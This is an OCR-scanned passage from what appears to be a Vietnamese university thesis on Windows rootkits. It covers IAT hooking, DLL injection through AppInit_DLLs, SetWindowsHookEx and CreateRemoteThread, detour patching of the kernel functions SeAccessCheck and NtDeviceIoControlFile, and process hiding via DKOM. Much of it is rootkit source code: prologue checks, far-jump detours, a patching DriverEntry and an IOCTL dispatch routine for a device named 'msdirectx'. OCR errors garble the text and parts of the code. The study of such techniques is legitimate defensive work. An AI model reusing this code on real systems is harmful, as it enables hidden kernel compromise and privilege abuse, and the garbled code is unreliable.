IMAGE_IMPORT BY NAME véi dai dia chi a0 ctia ham. Rootkit bang viéc hook vao bang
IAT s& hudng lai ludng diéu khién nhu hinh duéi day:

Normal Path _—

Hooked Path ~ ——=—=-

Application Code InternetConnect()

push dwContext ush ebp
push dwFlags |mp0|’t Address /'/'/"pea ebp, [esp+var 5 8]
push dwService Table — S e esp, 29Ch

push lpszPassword eax, [ebp +6Ch]

push loszUse rName wrjmp InternetConnect ecx, [ebp +70h]
push nServer Port jmp InternetAutodial
push lpszServerName jmp IntermetEmrorDlg

ebx
push hIntermet
call 7
[imp_ InternetConnect]

[ebp +48h] , eax

jmp InternetOpenA [ebp +38h] , eax

Jmp InternetHangup Hootklt
Code

Hinh 2.31. Ky thudt hook bang IAT
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2.7.3.  Chén thu vién dll vao tién trinh & user mode

C6 3 phuong phap dé thuc hién chén mot DLL bat ki vao mét tién trinh.
Céch thtr nhét 1a sir dung Registry. Trong Windows NT/2000/XP/2003, c6 mot khoa trong
Reqgistry la
HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\
Windows\ApplInit DLLs. Rootkit c6 thé loi dung khoa nay dé nap mot DLL cua riéng né. Khi
mot tmg dung bat ki ¢6 st dung User32.dll thi nhitng DLL nao c6 trong khoa trén s& dugc nap
tu dong boi User32.dll vao khéng gian dia chi cua tién trinh. User32.dll s& nap cic DLL bing
viéc goi ham API LoadLibrary. Khi mdi thu vién duoc nap thi ham DIIMain trong thu vién do
duoc goi voi tham s 1a DLL PROCESS ATTACH. D6 chinh 1a 1y do tai sao DLL d6 c6 thé
nap dugc vao khong gian dia chi cua tién trinh. Rootkit c6 thé sit dung hook duoc cai dit san
trong DLL ma nap béi User32.d11 dé 4n tép tin, khoa registry,. ..
Cach thu 2 1a st dung hook, vi du nhu sau: c6 2 tién trinh. Tién trinh A 1a rootkit loader. Tién
trinh B 1a tién trinh dich can chén DLL vao. Tién trinh A s& goi SetWindowsHookEx:

HHOOK SetWindowsHoOKEX(
int idHook,
HOOKPROC Ipfn,
HINSTANCE hMod,
DWORD dwThreadld

);

Tham s thtr nhét 1a loai cua thong diép, vi du WH_KEYBOARD, c6 thé chén thu tuc theo
ddi phim nhan. Tham sé thir 2 x4c dinh dia chi ham ma hé thong s& phai goi khi xu 1y thong
diép d6. Tham sd tht 3 chira dia chi viing nhé 40 ma DLL chtra ham dé, tham sb cudi 1a ludng
s& dugc hook. Néu dwThreadld = 0 thi tit ca cac ludng s& bi hook.

Vi du néu tién trinh A goi ham

SetWindowsHookEx(WH_KEYBOARD, myKeyBrdFuncAd, myDIIHandle, 0)

Trong khi tién trinh B nhéan sy kién nhan phim tir ban phim thi tién trinh B s& nap rootkit c¢6
handle 1a myDIIHandle, DLL nay chtra ham myKeyBrdFuncAd function. DLL 14 1 phan ciia
rootkit va né s& hook bang IAT trong khong gian dia chi cia tién trinh B.

BOOL APIENTRY DIIMain(HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID IpReserved)

if (ul_reason_for_call == DLL_PROCESS_ATTACH)
{

// Cai dat doan ma Hook bét ¢t ham nao trong

// khong gian dia chi cua tién trinh.

¥
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return TRUE;
}
__declspec (dllexport) LRESULT myKeyBrdFuncAd (int code,
WPARAM wParam,
LPARAM IParam)
{

return CallNextHookEx(g_hhook, code, wParam, IParam);

}

Céch thi 3 1a chén DLL str dung Ludng diéu khién tir xa. Windows cung cip API dé tao mot
ludng trong tién trinh khac véi cac tham sb nhu sau:

HANDLE CreateRemoteThread(
HANDLE hProcess,
LPSECURITY_ATTRIBUTES IpThreadAttributes,
SIZE_T dwsStackSize,
LPTHREAD_START_ROUTINE IpStartAddress,
LPVOID IpParameter,
DWORD dwCreationFlags,
LPDWORD IpThreadld

);

Tham s6 dau tién 1a handle cua tién trinh s& bi chén. Dé lfiy handle cta tién trinh dich, rootkit
¢6 thé sir dung ham OpenProcess v6i tham sé 13 dinh danh cua tién trinh(Process Identifier -
PID):

HANDLE OpenProcess(DWORD dwDesiredAccess,
BOOL blinheritHandle,
DWORD dwProcessld

);

PID c6 thé duoc tim thdy boi ing dung Taskmgr.exe hodc 1ap trinh.

Tham sd th 2 IpThreadAttributes va thtr 7 IpThreadld sé duogc dat [a NULL.

Tham sd tht 3 dwStackSize va tht 6 dwCreationFlags s€ dugc dat 1a 0.

Hgi tham s6 thir 4 va thir 5 1a quan trong nhét trong viéc tan cong, tham s thir 4 s& dat dé tro
dén dia chi cia ham LoadLibrary bang cach:

GetProcAddress(GetModuleHandle(TEXT( "Kernel32")), "LoadLibraryA™).

Tham sd tht 5 13 con tré dén tham s truyén cho ham, vi con tro chi duge tro dén ving dia chi
cta chuong trinh rootkit loader, nén khong c6 y nghia gi doi véi tién trinh dich. Bang viéc goi
ham Virtual AllocEx, rootkit loader c6 thé cap phat b nh¢ trong tién trinh dich:

LPVOID Virtual AllocEx(
HANDLE hProcess,
LPVOID IpAddress,
SIZE_T dwsSize,
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DWORD flAllocationType,
DWORD flProtect

);

Dé truyén tham sb 1a tén DLL can nap cho ham LoadLibrary, rootkit loader s& phai goi ham
WriteProcessMemory voi dia chi b nhd nhan dugc tir Virtual AllocEX:

BOOL WriteProcessMemory(
HANDLE hProcess,
LPVOID IpBaseAddress,
LPCVOID IpBuffer,
SIZE_T nSize,
SIZE_T* IpNumberOfBytesWritten

2.8. KY THUAT RUNTIME PATCHING

Muc 2.6 va 2.7 da trinh bay k¥ thuat hook trén user mode va trén kernel mode. Tuy
nhién, k¥ thuat hook d6 qua phd bién va dé dang phét hién boi cac k¥ thuat chdng rootkit. K§
thudt runtime patching cung dat dugc muc dich nhu dung hook nhung k¥ thuét nay khong
dugc nhic dén nhiéu vi n6 can thi¢p nhiéu véao hoat dong cua hé théng. Vi k¥ thuat nay két
hop véi quan 1y truy nhap phan cimg muc thip co thé xay dung dugc mot rootkit khong thé
phat hién duogc.
Vé mit logic, phan mém cé thé dugc thay d6i boi nhiu cach, vé goc nhin ciia nguoi phat
trién 14 sira ma ngudn va bién dich, vé goc nhin ciia cracker thi sira tryc tiép tép nhi phan,
hoic ciing co thé sira dit liéu ctia chuong trinh trong b nhé.
Trong phan ndy s& trinh bay mot trong nhiing k¥ thuat manh nhat cé thé: dé 1a can thiép tryc
tiép vao timg byte ctia ma thyc thi.

2.8.1. Ky¥ thuat jump templates

K§ thuat Jump templates(JT) s€ dugc su dung trong Runtime patching.
Dinh nghia JT: Do mdi tién trinh ton tai trong khong gian dia chi bd nhé khac nhau, thay vi
viéc can thiép vao timg thi tuc va ham trong mdi tién trinh dé chén 1énh jump, ching ta s&
x4y dyng mot ham jump chung cho tat ca tha tuc va ham do.
Dé thdy duoc rd hon, vi du mot chuong trinh dém s6 1an goi ngit. Thay vi patching thu tuc xtr
1y ngat (ISR) mot cach tryc tiép, chung ta tao ra mot mau chung va sao chép dén tat ca cac
ISR dé.
JT lap lai cho mdi thu tuc xtr 1y ngét, thay vi phai 1ap trinh cho tat ca cac ISR ta chi can mot
mau JT cho mdi thu tuc. Mdi mét 1an goi ISR thi ching déu goi dén rootkit code sau d6 goi
lai ham nguyén ban ban dau xu 1y ngat.
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Interrupt service routine 1

ISR Ptr |Hé1rr1 nguyén ban ban dau
[
Jump template 1 |

| Mé chung cho ISR va CALL | Faravp |

e T
- | Foata
Interrupt service routine 2

|Ham nguyén ban ban dau / |
7'y
Jump template 2
[ Ma chung cho ISR va CALL | FARJMP
‘\\\_\-\

—
Interrupt service routine 3

| Himnguyénbanbandéu  /
7'y
Jump template 3

| Ma chung cho ISR va CALL .| FARJMR~

Hinh 2.32. Ky thugt Jump template

2.8.2. Ky thuat runtime patching

Runtime patching(RP) 1a k¥ thuat can thi€p vao tung byte ctia chuong trinh trong luc
thuc thi dé chay doan ma thyc thi dé chay doan ma cua rootkit. K§ thuat nay tranh dugc su
phat hién cta cac chuong trinh anti-virus va anti-rootkit. Hon nita, sir dung RP chi can thay
d6i mot ham c6 thé anh huong dén nhidu bang lién quan ma khong can phai theo ddi timg
bang mot. Chi tiét hon ctia RP 13 ky thuat can thiép vao ham dé thém lénh jump dén doan ma
cua rootkit goi la Detour patching.

| Nhénh bi thay |
I ddi trong ' | chénvao
, chwongtrinh !
____________ S T
-
\ \

I:I“D\ﬁ/\ﬂ
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Hinh 2.33. Ludng diéu khién khi chwong trinh khi runtime patching

Dé ¢6 thé hiéu duge k¥ thuat detour patching, ta thuc hién mdt rootkit c6 kha nang can thié€p
truc tiép vao 2 ham NtDeviceloControlFile va SeAccessCheck cua kernel.

Hai ham nay da dugc export vao by nhé va ta do c6 dia chi cia 2 ham do. Budc tiép theo can
biét chinh x4c 13 chiing ta s& ghi nhiing gi vao ham do.

Trong vi xir Iy x86 cua Intel, khong phai tit ca cac 1énh déu c6 cung do dai, do viy ma viée
cheén 1€nh méi vao, vi du nhu far jump can 7 bytes s€ lam vo cAu trac cac 1énh trude do. Bé
khéc phuc nhuogc diém nay ta s€ thém vao doan 1énh bi thura & cudi 1énh NOP, vi 1énh NOP ¢6
dd dai 1 byte va khong thuc hién vige gi ca.

Chudi ma mdy ban dau

55 | 8B | EC | 53 | 33 | DB | 38 | 5D | 24

PUEH MOV PUSH XOR CMP

Can chén lénh far jump

EA | AA | AA | AA | AA | 08 00

FAR JMP

CMP

T

Phén con thira cda lénh CMP

Sau khi patch ban dau, can dwgc thay thée

EA | AA | AA | AA | AA | 08 00 | 90 | 90

FAR JMP MOP NOP

S(¥ dung lénh NOP dé b
sung vao phan thira ra

Hinh 2.34. K3 thudt cheén 1énh far jump vao dau ham

Trudce khi ghi dé vao ham, can kiém tra xem c6 chinh xéac 1a ham c6 can can thiép hay khong.
Chung ta sir dung cac kiém tra theo mau c6 sin, & xem duoc mi assembly ciia ham dung cac
cong cu nhu Softlce hoac cac chuong trinh debug nhu IDA Pro. Poan ma dudi day thuc hién
kiém tra mau ham NtDeviceloControlFile c6 chinh xac hay khong trong bd nhé:

NTSTATUS CheckFunctionBytesNtDeviceloControlFile()
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{
int i=0;
char *p = (char *)NtDeviceloControlFile;
//Bét dau ciia ham NtDeviceloControlFile
//phéi ¢6 dang:
/155 PUSH EBP
/IBBEC MOV EBP, ESP
//6A01 PUSH 01
/IFF752C PUSH DWORD PTR [EBP + 2C]

char c[] = { 0x55, 0x8B, 0XEC, 0x6A, 0x01, OxFF, 0x75, 0x2C };
while(i<8)

{

DbgPrint(" - 0x%02X ", (unsigned char)pli]);

if(p[i] != c[i])

{

return STATUS_UNSUCCESSFUL,;

}
i++;
¥

return STATUS_SUCCESS;

}
NTSTATUS CheckFunctionBytesSeAccessCheck()

{
int i=0;
char *p = (char *)SeAccessCheck;
//Bét dau ciia ham SeAccessCheck
//phai c6 dang:
//55 PUSH EBP
//8BEC MOV EBP, ESP
//53 PUSH EBX
//133DB XOR EBX, EBX
//1385D24 CMP [EBP+24], BL
char c[] = { 0x55, 0x8B, OXEC, 0x53, 0x33, 0xDB, 0x38, 0x5D, 0x24 };
while(i<9)
{
DbgPrint(" - 0x%02X ", (unsigned char)pli]);
if(p[i] != c[i])
{
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return STATUS_UNSUCCESSFUL;
}
i++;
¥
return STATUS_SUCCESS;
}

Sau khi da ghi dé 1én ham ciing c6 thé mot sd trudng hop ta can goi lai ham d6, dé thuc hién
cong viéc nay ta luu lai ndi dung céc 1énh da bi ghi dé ra mdt vung khac, sau khi thyc hi¢n
xong s€ far jump lai vi tri ngay ti€p sau cac I¢nh d6 & ham ban dau.

FAR JMP Cdc lénh tiép theo
ROOTKIT CODE Cac |énh bi ghi de FAR JMP (back)

!

Cac |&énh bi ghi dé van duoc thuc
thi nhurng & vi tri khac trong b nhé
(diecee ILrU ra tredec ghi ghi dé 1En)

Hinh 2.35. Goi lai cdc énh bi ghi de néu can va quay lai vi tri da patch

M3 rootkit duoc viét duéi dang mo{t ham, nhung dugc khai bdo véi thudc tinh “naked”. (Ham
duoc khai bao v6i thudce tinh “naked” cho phép né c¢o thé duge goi tir mot ngir canh khac
khong phai 1a C/C++. Cac ma prolog/epilog c¢6 thé duoc chén mot cach truc tiép).

Mit khéc, trinh bién dich cia DDK khong c6 sin 1énh far jump nén chiing ta s& thay bang
1énh emit dé ép phai xuét tirng byte ra tao thanh 1énh far jump.

// Ham dugc khai bao dudi dinh dang naked
__declspec(naked) my_function_detour_seaccesscheck()

{

asm

{

// thyce thi 1énh bi ghi dé
push ebp

mov ebp, esp

push ebx

xor ebx, ebx

cmp [ebp+24], bl

// St dung 1én far jump dé nhay dén OXAAAAAAAA
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// Poan code phai thuc hién bang tay do
// trinh bién dich khong c6 1énh far jump
I/l jmp FAR 0x08:0xAAAAAAAA
_emit OXEA

_emit OXAA

_emit OXAA

_emit OXAA

_emit OXAA

_emit 0x08

_emit 0x00

¥
¥

__declspec(naked) my_function_detour_ntdeviceiocontrolfile()

{

__asm

{

// thuc hién nhiing 1énh bi ghi de

push ebp

mov ebp, esp

push 0x01

push dword ptr [ebp+0x2C]

// St dung 1én far jump dé nhay dén 0XAAAAAAAA
// Poan code phai thuc hién bang tay do

// trinh bién dich khong co6 1énh far jump

// jmp FAR 0x08:0xAAAAAAAA, dia chi nay chi la
// vidu

_emit OXEA

_emit OXAA

_emit OXAA

_emit OXAA

_emit OXAA

_emit 0x08

_emit 0x00

¥
kj

M3 cua rootkit ton tai trong vung nhd cua trinh diéu khién thiét bi, rootkit can phai duoc dat &
vung nhé NonPagedPool (viing nay khong dugc ghi xudng dia cing - paged out) mot thoi
gian du dé nod thuc hién cong viéc patch va jump dén ham cén thiét.
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Trong ham chua far jump

my_function_detour_seaccesscheck()
my_function_detour_ntdeviceiocontrolfile()

Thi dia chi nhay dén 1a 0OXAAAAAAAA va 0x11223344 chi 1a vi dy, gia tri nay s€ duoc thay
thé bai dia chi chinh x4c khi thuc hién patch va rootkit phai xac dinh dia chi ding luc thuec thi:

VOID DetourFunctionSeAccessCheck()
{
char *actual_function = (char *)SeAccessCheck;
char *non_paged_memory;
unsigned long detour_address;
unsigned long reentry_address;
inti=0;

Lénh méi dugc ghi d¢ 1én c6 dang

// Lénh assembly jump far dén 0x 11223344
char newcode[] = { OXEA, 0x44, 0x33, 0x22, 0x11,
0x08, 0x00, 0x90, 0x90 };

Khi thyc thi ham bi patch, no s€ chuyén theo hudng Iénh mai & trén, khi do, can stra lai diém
bat dau ctia ham d0, viéc nay rat can thiét khi chiing ta far jump trd lai ham ban dau:

reentry_address = ((unsigned long)SeAccessCheck) + 9;

Sau d6, thyc hién cip phat bo nhé dang NonPagedPool roi sao chép tirng byte mot ciia rootkit
vao vung nhd nay, con tro dén doan ma mai sao chép cua rootkit s¢ dugc Iuu lai:

non_paged_memory = ExAllocatePool(NonPagedPool, 256);
I/ Copy ndi dung cuia rootkit vao non-paged memory
// véi thi da 256 bytes.

for(i=0;i<256;i++)
{
((unsigned char *)non_paged _memory)[i] =
((unsigned char *)my_function_detour_seaccesscheck)[i];

}

detour_address = (unsigned long)non_paged_memory;

bia chi mdi cia ma rootkit luu trong detour address:

// stamp in the target address of the far jmp
*( (unsigned long *)(&newcode[1]) ) = detour_address;

Sau khi d6 c6 dia chi dé far jump, chiing ta s€ thuc hién thay thé dia chi mau OXAAAAAA
theo vi tri da patch:

// Chuyén hudng vao ham cia rootkit.
for(i=0;i<200;i++)
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{

if( (OXAA == ((unsigned char *)non_paged_memory)[i]) &&
(OXAA == ((unsigned char *)non_paged_memory)[i+1]) &&
(OXAA == ((unsigned char *)non_paged_memory)[i+2]) &&
(OXAA == ((unsigned char *)non_paged_memory)[i+3]))

{
// tim thay dia chi 0XAAAAAAAA
// thay n6 bdi dia chi diing
*( (unsigned long *)(&non_paged_memory[i]) ) =

reentry_address;

break;

k
¥

// ghi d¢ vao ham cua kernel

// & nhay dén code rootkit.
for(i=0;i < 9;i++)
{
actual_function[i] = newcode[i];
}

¥

// Ap dung cach tuong tu trén cho NtDeviceloControl patch:
VOID DetourFunctionNtDeviceloControlFile()
{
char *actual_function = (char *)NtDeviceloControlFile;
char *non_paged_memory;
unsigned long detour_address;
unsigned long reentry_address;
inti=0;
// Tao 1énh jump far dén 0x11223344

// thay gia tri mau dé boi dia chi méi

char newcode[] = { OXEA, 0x44, 0x33, 0x22, 0x11,
0x08, 0x00, 0x90 };

// stra lai diém bat dau cua ham do,

//viéc nay rat can thiét khi chiing ta far jump tr& lai ham ban dau:

reentry_address = ((unsigned long)NtDeviceloControlFile) + 8;
non_paged_memory = ExAllocatePool(NonPagedPool, 256);
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// sao chép ndi dung cua rootkit vao non-paged memory
// tbi da 256 bytes
for(i=0;i<256;i++)
{
((unsigned char *)non_paged_memory)[i] = ((unsigned char *)
my_function_detour_ntdeviceiocontrolfile)[i];
}
detour_address = (unsigned long)non_paged_memory;
// thay thé vao dia chi dich cua far jmp.
*( (unsigned long *)(&newcode[1]) ) = detour_address;

for(i=0;i<200;i++)
{
if( (OXAA == ((unsigned char *)non_paged_memory)[i]) &&
(OXAA == ((unsigned char *)non_paged_memory)[i+1]) &&
(OXAA == ((unsigned char *)non_paged_memory)[i+2]) &&
(OXAA == ((unsigned char *)non_paged_memory)[i+3]))
{
// Tim thay dia chi 0XAAAAAAAA;
// thay thé n6 boi dia chi dung.
*( (unsigned long *)(&non_paged_memory[i]) ) =
reentry_address;
break;

by

}
/I TODO, thuc hién IRQL

// ghi dé vao ham cua kernel
// @& nhay dén code rootkit.
for(i=0;i < 8;i++)

{
actual_function[i] = newcode[i];
¥

// TODO, ngumg IRQL

b

Va cudi cung, thi tyc DriverEntry chi cin kiém tra c6 dung ham can patch hay khong va thuc

hién patch:

NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObiject,

IN PUNICODE_STRING theRegistryPath )

VO DUCLY - DI0CQCNATO1-N

Trang 81




Do an tot nghiép Pai Hoc Chuong 2

{
DbgPrint("My Driver Loaded!");

If(STATUS_SUCCESS != CheckFunctionBytesNtDeviceloControlFile())
{

DbgPrint("Match Failure on NtDeviceloControlFile!™);

return STATUS_UNSUCCESSFUL,;

¥
If(STATUS_SUCCESS != CheckFunctionBytesSeAccessCheck())

{
DbgPrint("Match Failure on SeAccessCheck!");
return STATUS_UNSUCCESSFUL,;

}

DetourFunctionNtDeviceloControlFile();
DetourFunctionSeAccessCheck();
return STATUS_SUCCESS;

}

2.8.3. Mo rong runtime patching

Theo phén trén da trinh bay thi vi tri dé chén ma vao 1a diém bét dau cta ham, né don
gian vi vi tri d& dang tim dugc trong bd nhd. Néu mo rong ra dé c6 thé chén vao vi tri sdu hon
nita thi rootkit cang trd nén kho phat hién. Mot s6 chuong trinh anti-rootkit kiém tra 20byte
dau ctia mot ham, néu c6 thé patch dugc ¢ vi tri xa hon 20bytes d6 thi khong thé phat hién ra
duoc.
Néu patch cac ham h¢ théng thi c6 thé thay d6i duoc trinh diéu khién thiét bi va cac chuong
trinh khac, néu patch cic ham lién quan dén mang thi c6 thé bat duoc cac ghi tin va dir lidu
khac.

Ving nhé dé sao chép ma rootkit sang trong vi du trén dugc cap phat & Non-paged
pool, tuy nhién c6 thé sir dung ving nhd khong ding & cubi cac trang nhé dang ton tai san
(k¥ thuat cavern injection).

2.9. KITHUAT TRUC TIEP CAN THIEP VAO WINDOWS KERNEL (DKOM)

2.9.1.  Khai ni¢m va dic diém cua DKOM

DKOM (Direct Kernel Object Manipulation): Truc tiép can thiép vao kernel, thay d6i
dir liéu cta cac ddi twong quan 1y cua kernel nham muc dich an tién trinh va an trinh diéu
khién thiét bj ma khong can phai str dung hook dé che dau.
Bén canh d6, sir dung DKOM con cung cip kha ning thay d6i access token trong tién trinh dé
¢ quyén quan tri trén tién trinh d6 ma khong phai goi mot ham API nao.

Theo céac cach binh thuong nhu hook, dé co thé can thiép vao dir liéu cta kernel thi
can phai thong qua cac Trinh quan 1y ddi twong. Trinh quan 1y dbi twong c6 nhiém vu tao,
x0a, bao vé tat ca cac dbi twong cua kernel, ngoai ra né ciing kiém tra kha ning truy nhap nén
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dan dén han ché hoat dong cua rootkit. Vi vay néu str dung k¥ thuat DKOM s€ vuot qua duoc
tat ca cac han ché trén.
Trude khi thay ddi cac dbi tuong cua kernel, can hiéu ro dic diém cua cac dbi tuong kernel:

e Windows st dung céc béi tuong dé thyc hién cac cong vi¢e riéng nham muc dich che

diu dit liéu va bao mat. Pé co6 thé xem duoc cac thudce tinh cua mot ddi tuong, ching
ta str dung nhirg chwong trinh Debug nhu WinDbg bang viéc gb 1énh:

dtnt!_Tén DbiTuong.

Vi du dé xem cac thudc tinh cua ddi twugng EPROCESS g6 dt nt!_ EPROCESS.

e Kernel sir dung ddi twong dé quan ly hoat dong co ban nhu tién trinh, ludng, cong
Viéc.

e Céc thudc tinh cua ddi twong thuong thay doi qua cac phién ban cua hé diéu hanh
Windows (vi du nhu Windows 2000 va Windows XP). Nén rootkit rat phu thudc vao
hé diéu hanh cu thé cht kho c6 thé twong thich nguoc dugc.

DKOM c6 thé dung dé:

e Antién trinh.

e An trinh diéu khién thiét bi

e Ancong

e Nang quyeén cua tién trinh va luong.

Nhuge diém 14 st dung DKOM khong an duoc tép tin do cac tép trong mot hé thong khong
can mot ddi twong nao dé quan 1y chung. Do vay khong c6 ddi tuong nao dé rootkit can thiép
nham muc dich an tép tin.

2.9.2.  Xac dinh phién ban cua hé diéu hanh

MBJi phién ban hé diéu hanh Windows thi cac ddi twong ma kernel sinh ra nham muc
dich quan 1y co6 cac thudce tinh khéc nhau, do vdy ma ta can phai xac dinh chinh xac phién ban
hé diéu hanh dé rootkit c6 thé hoat dong 1 cach binh thuong khi sir dung k¥ thuat nay. C6 2
cach xéc dinh phién ban cua Windows:
Xac dinh phién ban trong user mode

Néu rootkit chay ¢ user mode thi ¢ thé sir dung ham API cia Windows dé xac dinh phién
ban cua hé théng dang chay, d6 la GetVersionEx, ham nay s& tra vé dir lidu dang
OSVERSIONINFO hodac OSVERSIONINFOEX.

Xac dinh phién ban trong kernel mode

Trong ché d6 kernel mode, c6 thé sir dung ham

BOOLEAN PsGetVersion(
PULONG MajorVersion OPTIONAL,
PULONG MinorVersion OPTIONAL,
PULONG BuildNumber OPTIONAL,
PUNICODE_STRING CSDVersion OPTIONAL
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2.9.3. Giao tiép véi rootkit tir user mode

Rootkit dugc cai dat dudi dang mdt trinh diéu khién thiét bi, tir user mode, cac dit liéu
khéi tao hodc diéu khién duoc truyén cho rootkit st dung I/O Control Codes (IOCTLs).
Nhimg mi diéu khién ndy g g6i yéu cau I/O (IRP) néu mi c6 co
IRP_MJ DEVICE CONTROL hodc IRP. MJ INTERNAL DEVICE CONTROL.
Ca rootkit va chuong trinh diéu khién n6 trén user mode déu phai bao gém tép tiéu dé chira
chuén giao tiép:

/I File header dung chung cho rootkit va

// chuong trinh diéu khién no6 chay trén user mode.

#define FILE_DEV_DRV  0x00002a7b

T T T

#define IOCTL_DRV_INIT (ULONG) CTL_CODE(FILE_DEV_DRV,0x01,
METHOD_BUFFERED,
FILE_WRITE_ACCESS)

#define IOCTL_DRV_VER (ULONG) CTL_CODE(FILE_DEV_DRV,0x02,
METHOD_ BUFFERED,
FILE_WRITE_ACCESS)

#define IOCTL_TRANSFER_TYPE( iocontrol) (_iocontrol & 0x3)

C6 2 chuan dugc tao ra d6 14 IOCTL_DRV_INIT va IOCTL DRV _VER, ca 2 déu sir
dung phuong phap METHOD BUFFERED, véi phuong phap nay, trinh quan 1y vao ra sé sao
chép dir li¢u tir user stack sang kernel stack.

Chuong trinh diéu khién hoat dong cta rootkit can bao gdm thém tép tiéu dé winioctlh chira
mét sb ham diéu khién vao ra nhu DeviceloControl:

#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <winioctl.h>
#include "fu.h"
#include "..\SY S\ioctlcmd.h"
int main(void)
{
gh_Device = INVALID_HANDLE_VALUE; // Handle to rootkit driver
// Open a handle to the driver here. See Chapter 2 for details.
if('DeviceloControl(gh_Device,
IOCTL_DRV_INIT,
NULL,
0,
NULL,
0,
&d_bytesRead,
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NULL))
{

fprintf(stderr, "Error Initializing Driver.\n");

¥
j

Trong DriverEntry cta rootkit, phai tao mot device object c6 mot tén cu thé va c6 mot lién két
dén thiét bi (myc dich dé cho cac chuong trinh & user mode c6 thé mé mot handle dén
rootkit), sau do thi€t 1ap bang MajorFunction chtra con tré dén cac ham xur 1y goi tin dang
IRP_MJ_*

const WCHAR deviceLinkBuffer[] = L"\\DosDevices\\msdirectx";
const WCHAR deviceNameBuffer[] = L"\\Device\\msdirectx";
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath)

NTSTATUS ntStatus;
UNICODE_STRING deviceNameUnicodeString;
UNICODE_STRING deviceLinkUnicodeString;
// Ddt tén device object va tén link
RtlInitUnicodeString (&deviceNameUnicodeString,
deviceNameBuffer );
RtlInitUnicodeString (&deviceLinkUnicodeString,
deviceLinkBuffer );
// Tao thiét b
ntStatus = loCreateDevice ( DriverObject,
0,
&deviceNameUnicodeString, / Tén thiét bi
FILE_DEV_DRYV,
0,
TRUE,
&g_RootkitDevice );
if(! NT_SUCCESS(ntStatus))
{
DebugPrint(("Failed to create device!\n"));
return ntStatus;
}
// ' Tao lién két tugng trung.
ntStatus = loCreateSymbolicLink (&deviceLinkUnicodeString,
&deviceNameUnicodeString );
if(! NT_SUCCESS(ntStatus))
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}

{
loDeleteDevice(DriverObject->DeviceObject);
DebugPrint("Failed to create symbolic link!\n");
return ntStatus;

¥

// Tao con tré dén ham diéu khién IRP

/I cho mdi IRP._MJ DEVICE CONTROL,

// Con tro ndy tré dén bang cac ham xir Iy
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = RootkitDispatch;

Trong ham RootkitDispatch sé thuc hi¢n léy vi tri hi¢n tai trong IRP stack, tir do6 dir li¢u sé&
dugc vao/ra thong qua by dém. Bén trong stack IRP la ma cua IRP, chinh Ia
IRP_MJ DEVICE CONTROL duoc giri dén tir tmg dung & user mode.

NTSTATUS RootkitDispatch(IN PDEVICE_OBJECT DeviceObject,

IN PIRP Irp)

PIO_STACK_LOCATION irpStack;

PVOID inputBuffer;

PVOID outputBuffer;
ULONG inputBufferLength;
ULONG outputBufferLength;
ULONG ioControlCode;
NTSTATUS ntstatus;

// Dat trang thai thanh cong
ntstatus = Irp->loStatus.Status = STATUS_SUCCESS;
Irp->loStatus.Information = 0;
/l Léy con trd dén vi tri hién tai trong IRP stack.
// & d6 chita mé ciia ham va s hiéu ham
irpStack = loGetCurrentlrpStackLocation (Irp);
// Ly con tré dén bd dém input/output, va lay do dai
inputBuffer = Irp->Associatedlrp.SystemBuffer;
inputBufferLength = irpStack->Parameters.DeviceloControl.InputBufferLength;
outputBuffer = Irp->Associatedlrp.SystemBuffer;
outputBufferLength = irpStack->Parameters.DeviceloControl.OutputBufferLength;
ioControlCode = irpStack->Parameters.DeviceloControl.loControlCode;
switch (irpStack->MajorFunction) {
case IRP_MJ_CREATE:
break;
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case IRP_MJ CLOSE:
break;
// Chi quan tdm dén IRP. MJ DEVICE CONTROL vi
// 16 chira cac 1énh diéu khién rootkit.
case IRP_MJ_DEVICE_CONTROL:
switch (ioControlCode) {
case IOCTL_DRV_INIT:
// Chén ma khéi tao rootkit néu can
break;
case IOCTL_DRV_VER:
// Tra lai thong tin phién ban rootkit.
break;

}
break;

}
loCompleteRequest( Irp, IO_NO_INCREMENT );

return ntstatus;

}

Trén day da trinh bay cach thirc @& mot chuong trinh ng dung & user mode c6 thé trao d6i
thong tin, dit liéu v6i mot rootkit cai dat dang trinh diéu khién thiét bi. Phan tiép theo s& trinh
bay k¥ thuat an sir dung DKOM.

2.9.4. Antién trinh bing DKOM

Hé diéu hanh Windows NT/2000/XP/2003 dung cac ddi twong dé quan 1y viéc sir

dung luéng va tién trinh. Cac d6i tuong nay ton tai trong bo nhéd va dugc cac cong cu hé
thong nhu Taskmgr.exe hodc cac cong cu bao cao khéc liét ké danh sach tién trinh dang chay.
Ham ZwQuerySystemInformation dung dbi tuong do dé liét ké ra cac tién trinh. Béng viéc
can thiép truc tiép vao cac ddi tuong do ta c6 thé an tién trinh dang chay.
DPé an tién trinh, can phai tim ra dugc dbi tuong EPROCESS trong b nhd. Chu tric
EPROCESS thay doi qua timg phién ban ctia hé diéu hanh Windows, tuy nhién co thé 1iy
duoc con tré tré dén EPROCESS bang PsGetCurrentProcess hodc IoGetCurrentProcess, néu
disassemble ham nay thu dugc:

mov eax, fs:0x00000124;
mov eax, [eax + 0x44];
ret

Giai thich 1énh trén: Windows ldy thong tin trong KPRCB (Kernel's Processor Control Block
— Khdi diéu khién xir 1y ciia Kernel) ¢ dia chi cd dinh 1a 0xffdff120 trong khong gian dia chi
bd nhé. Ham PsGetCurrentProcess di dén dia chi 0x124 trong thanh ghi fs. Vi tri 0x120+4 13
cia ETHREAD. Tir khdi ETHREAD nay ta s& c6 dugc con tro dén khéi EPROCESS cua tién
trinh hién tai.
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Cong viée tiép theo 1a duyét trong danh sach lién két 2 chiéu cac khéi EPROCESS dé tim dén
tién trinh can 4n.Qua trinh dugc mé ta nhu hinh dudi déy:

KPRCB
*CurrentThread
*MNextThread
=ldleThread
ETHREAD
KTHREAD *
ApcState ™
EPROCESS EPROCESS EPROCESS
KPROCESS KPROCESS KPROCESS
LIST_ENTRY { LIST_ENTRY { LIST_ENTRY {
FLINK P | FLINK " il FLINK
BLINK } 1 BLINK ¥ 1 BLINK ¥

Hinh 2.36. Danh sdch méc néi 2 chiéu chira théng tin vé cdc tién trinh

Ngoai ra con phuong phap khac dé tim ra tién trinh, d6 1a tim dinh danh cta tién trinh-PID.
Gia tri PID nam trong khdi EPROCESS va phu thudc vao tung phién ban Windows, gid tri
offset co thé 1a:

Windows | Windows | Windows | Windows XP | Windows

